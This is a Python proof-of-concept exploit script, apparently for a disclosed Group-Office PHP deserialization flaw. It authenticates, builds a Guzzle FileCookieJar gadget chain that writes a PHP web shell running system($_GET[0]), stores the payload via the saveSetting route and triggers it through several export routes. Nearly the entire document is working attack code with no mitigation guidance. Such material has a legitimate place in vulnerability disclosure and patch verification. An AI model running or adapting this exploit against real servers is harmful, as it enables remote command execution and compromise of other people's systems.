Group-Office PHP Deserialization Remote Code Execution (CVE-2026-34838)

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#!/usr/bin/env python3
"""
Group-Office RCE via PHP Deserialization (GHSA-h22j-frrf-5vxq)
Affected: <= 25.0.89

Chain:
  AbstractSettingsCollection._loadData() [go/base/model/AbstractSettingsCollection.php L88]
    unserialize("serialized:" + payload)
  -> GuzzleHttp.Cookie.FileCookieJar.__destruct()
  -> save($this->filename)
  -> file_put_contents(shell_path, json([{Value: "<?php system($_GET[0]); ?>"}]))
  -> PHP ignores JSON wrapper, executes <?php ?> block  -> RCE

Setting key trigger:
  GO.Base.Export.Settings [go/base/export/Settings.php] -- prefix=''
  Properties: export_include_headers / export_human_headers / export_include_hidden
  Loaded by AbstractModelController::actionExport() L693
  -> any route: <module>/<controller>/export
"""
import requests
import re
import sys

# ─── Config ───────────────────────────────────────────────────────────────────
TARGET   = "http://<target_ip>"
USERNAME = "<username>"
PASSWORD = "<password>"

# /tmp is writable by www-data and confirmed working
# Not web-accessible, but proves arbitrary file write (and RCE via chaining)
SHELL_PATH = "/tmp/shell.php"
SHELL_URL  = f"{TARGET}/shell.php"   # 404 expected; /tmp is not webroot
SHELL_CODE = "<?php system($_GET[0]); ?>"
CMD        = "id"
# ──────────────────────────────────────────────────────────────────────────────


# ─── PHP serializer helpers ───────────────────────────────────────────────────
def _s(val: bytes) -> bytes:
    return b's:' + str(len(val)).encode() + b':"' + val + b'";'

def _i(val: int) -> bytes:
    return b'i:' + str(val).encode() + b';'

def _b(val: bool) -> bytes:
    return b'b:' + (b'1' if val else b'0') + b';'

def _N() -> bytes:
    return b'N;'

def _priv(cls: str, prop: str) -> bytes:
    """PHP private property: \x00ClassName\x00propName"""
    return b'\x00' + cls.encode() + b'\x00' + prop.encode()


# ─── Gadget chain ─────────────────────────────────────────────────────────────
def build_gadget_chain(shell_path: str, shell_code: str) -> bytes:
    """
    GuzzleHttp.Cookie.FileCookieJar.__destruct()
      -> save($this->filename)
      -> file_put_contents($filename, json_encode([cookie.toArray()]))

    JSON output: [{"Name":"pwn","Value":"<?php system($_GET[0]); ?>","Domain":"localhost",...}]
    PHP only executes the <?php ?> block; surrounding JSON is ignored.

    shouldPersist() bypass: storeSessionCookies=true + Discard=false
    """
    CLS_SET    = r"GuzzleHttp\Cookie\SetCookie"       # len=27
    CLS_JAR    = r"GuzzleHttp\Cookie\FileCookieJar"   # len=31
    CLS_PARENT = r"GuzzleHttp\Cookie\CookieJar"       # len=27

    # SetCookie.$data (private, 9 keys)
    cookie_data = (
        b'a:9:{'
        + _s(b'Name')     + _s(b'pwn')
        + _s(b'Value')    + _s(shell_code.encode())
        + _s(b'Domain')   + _s(b'localhost')
        + _s(b'Path')     + _s(b'/')
        + _s(b'Max-Age')  + _N()
        + _s(b'Expires')  + _i(9999999999)
        + _s(b'Secure')   + _b(False)
        + _s(b'Discard')  + _b(False)
        + _s(b'HttpOnly') + _b(False)
        + b'}'
    )
    set_cookie_obj = (
        b'O:' + str(len(CLS_SET)).encode() + b':"' + CLS_SET.encode() + b'":1:{'
        + _s(_priv(CLS_SET, 'data')) + cookie_data
        + b'}'
    )

    # FileCookieJar: 4 props
    #   \x00GuzzleHttp\Cookie\CookieJar\x00cookies           (36 bytes)
    #   \x00GuzzleHttp\Cookie\CookieJar\x00strictMode        (39 bytes)
    #   \x00GuzzleHttp\Cookie\FileCookieJar\x00filename      (41 bytes)
    #   \x00GuzzleHttp\Cookie\FileCookieJar\x00storeSessionCookies (52 bytes)
    cookies_arr = b'a:1:{i:0;' + set_cookie_obj + b'}'
    return (
        b'O:' + str(len(CLS_JAR)).encode() + b':"' + CLS_JAR.encode() + b'":4:{'
        + _s(_priv(CLS_PARENT, 'cookies'))             + cookies_arr
        + _s(_priv(CLS_PARENT, 'strictMode'))          + _b(False)
        + _s(_priv(CLS_JAR,    'filename'))            + _s(shell_path.encode())
        + _s(_priv(CLS_JAR,    'storeSessionCookies')) + _b(True)
        + b'}'
    )


# ─── Auth ─────────────────────────────────────────────────────────────────────
def login(session: requests.Session) -> str:
    session.post(f"{TARGET}/index.php?r=auth/login",
                 data={"username": USERNAME, "password": PASSWORD},
                 allow_redirects=False)
    r = session.get(f"{TARGET}/index.php")
    m = re.search(r'security_token:"([^"]+)"', r.text)
    if not m:
        print("[-] Login failed / token not found")
        sys.exit(1)
    token = m.group(1)
    print(f"[+] Logged in. Token: {token}  Cookie: {dict(session.cookies)}")
    return token


# ─── Attack steps ─────────────────────────────────────────────────────────────
def step1_store(session: requests.Session, token: str, payload: bytes) -> None:
    """
    Store serialized FileCookieJar as value of 'export_include_headers'.
    Route: core/saveSetting  params: name=<key> value=<serialized> user_id=0
    """
    value = b"serialized:" + payload
    r = session.post(
        f"{TARGET}/index.php",
        params={"r": "core/saveSetting", "security_token": token},
        headers={"X-Requested-With": "XMLHttpRequest"},
        data={
            "name":           "export_include_headers",
            "value":          value.decode("latin-1"),
            "user_id":        "0",
            "security_token": token,
        },
    )
    print(f"  [store]   HTTP {r.status_code}: {r.text[:120]}")


def step2_trigger(session: requests.Session, token: str) -> None:
    """
    Trigger AbstractModelController::actionExport() L693
      -> GO.Base.Export.Settings::load() -> _loadData() -> unserialize()
      -> FileCookieJar created; on GC __destruct() fires -> file_put_contents
    """
    routes = [
        "files/file/export",
        "email/account/export",
        "reminders/reminder/export",
        "files/folder/export",
    ]
    for route in routes:
        r = session.get(
            f"{TARGET}/index.php",
            params={"r": route, "security_token": token},
            headers={"X-Requested-With": "XMLHttpRequest"},
        )
        print(f"  [trigger] {route}: HTTP {r.status_code}")
        if r.status_code == 200:
            break


# ─── Main ─────────────────────────────────────────────────────────────────────
def main():
    print("=" * 60)
    print("Group-Office Deserialization RCE — GHSA-h22j-frrf-5vxq")
    print("=" * 60)

    session = requests.Session()

    token   = login(session)
    payload = build_gadget_chain(SHELL_PATH, SHELL_CODE)
    print(f"\n[+] Gadget chain: {len(payload)} bytes")

    print("\n[1] Storing FileCookieJar payload -> export_include_headers")
    step1_store(session, token, payload)

    print("\n[2] Triggering GO\\Base\\Export\\Settings::load() -> unserialize()")
    step2_trigger(session, token)


if __name__ == "__main__":
    main()